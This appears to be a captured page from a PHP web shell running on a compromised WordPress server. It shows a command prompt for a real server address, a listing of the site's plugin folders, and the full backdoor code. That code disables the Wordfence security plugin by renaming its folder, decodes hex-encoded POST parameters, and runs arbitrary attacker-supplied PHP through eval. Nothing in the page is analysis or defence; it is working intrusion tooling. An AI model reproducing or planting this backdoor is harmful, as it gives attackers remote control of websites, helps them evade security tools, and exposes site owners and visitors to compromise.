[ Avaa Bypassed ]




Upload:

Command:

www-data@18.225.235.148: ~ $
<?php 
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}
foreach($_POST as $k => $v){
	$kk = @pack("H*", $k);
	$_POST[$kk]=@pack("H*", $v);
}
@eval($_POST['google']);
echo 'AGM';
?>

Filemanager

Name Type Size Permission Actions
akismet Folder 0777
all-in-one-wp-security-and-firewall Folder 0777
classic-editor Folder 0777
coming-soon Folder 0777
contact-form-7 Folder 0777
disable-right-click-for-wp Folder 0777
disabled-source-disabled-right-click-and-content-protection Folder 0777
hide-my-wp Folder 0777
login-logout-menu Folder 0777
loginpress Folder 0777
magazine-blocks Folder 0777
mimo-logo-changer Folder 0777
ml-slider Folder 0777
my-wp-brand Folder 0777
one-click-demo-import Folder 0777
pdf-embedder Folder 0777
secure-copy-content-protection Folder 0777
site-offline Folder 0777
the-events-calendar Folder 0777
themegrill-demo-importer Folder 0777
translatepress-multilingual Folder 0777
updraftplus Folder 0777
user-role-editor Folder 0777
wp-code-protection Folder 0777
wp-force-ssl Folder 0777
about.php File 351 B 0644
index.php File 28 B 0777